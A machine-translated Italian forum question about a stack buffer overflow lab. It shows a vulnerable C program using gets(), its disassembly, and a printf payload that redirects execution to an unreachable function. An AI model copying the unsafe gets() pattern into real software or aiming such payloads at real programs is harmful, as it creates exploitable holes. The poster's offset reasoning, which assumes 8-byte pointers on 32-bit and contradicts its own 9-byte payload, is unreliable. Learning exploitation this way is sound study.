Sto provando a prendere il controllo su un overflow dello stack. In primo luogo, ecco un esempio di codice C ho compilato su un x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c
),L'overflow del buffer è apparso prima del previsto
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
Poi debugger (sapore Intel): dump del codice assembler per la funzione GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
Qui possiamo vedere che sub esp, 0x28 riserva 40 byte per una variabile buffer (Right?). La funzione CanNeverExecute
si trova all'indirizzo 0x0804843c
. Quindi, per eseguire la funzione CanNeverExecute
, ho bisogno di mettere 40 byte nella variabile del buffer, quindi passa 8 byte per il puntatore di base memorizzato e quindi 8 byte del puntatore di ritorno che voglio cambiare.
Quindi, ho bisogno di una stringa di 48 simboli ASCII più \x3c\x84\x04\x08
alla fine (indirizzo della funzione CanNeverExecute
). Questo è in teoria. Ma in pratica ho bisogno di soli 20 byte prima di indirizzo del puntatore di ritorno:
~/hacktest $ printf "123456789\x3c\x84\x04\x08" | ./first
123456789..
I can never execute
Illegal instruction (core dumped)
Perché ha bisogno solo 20 byte invece di 48? Dov'è il mio errore?